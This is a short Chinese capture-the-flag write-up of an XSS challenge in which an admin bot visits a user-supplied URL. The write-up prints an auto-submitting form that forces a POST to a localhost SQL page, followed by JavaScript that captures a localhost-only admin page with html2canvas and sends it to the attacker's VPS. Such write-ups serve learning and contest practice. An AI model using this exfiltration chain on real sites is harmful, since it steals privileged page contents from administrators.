写在前面
巅峰极客挑战赛中，做到柠檬师傅出的题，由于自己的js水平太渣渣，这个题做了很久，于是赶快写文记录自己的解题过程。
描述
主要是XSS，网站中允许输入一个地址，管理员会使用chrome浏览器打开该网页。并且该网站存在一个能写入js代码的页面，最后flag藏在一个页面中，该页面在服务器配置时设置只允许127.0.0.1访问，其余为403错误。
思路
通过对该网站写入js代码，让127.0.0.1访问我们写好js代码的页面，最后得到flag页面。
过程
首先，先写一个自动提交form表单的页面
<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>
当我们让管理员访问这个页面的时候，管理员就会post数据到本地的runsql.php页面，这时runsql.php页面上就会有我们的js数据
接下来构造js：
<html>
<body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
<script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
<script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","your vsp",true);
xmlhttp.send(canvas.toDataURL());
});
</script>
</body>
</html>
这个页面会自动获取同源网页的页面，然后发送到vps上。最后就能得到flag了。
admin_zzzz666.php
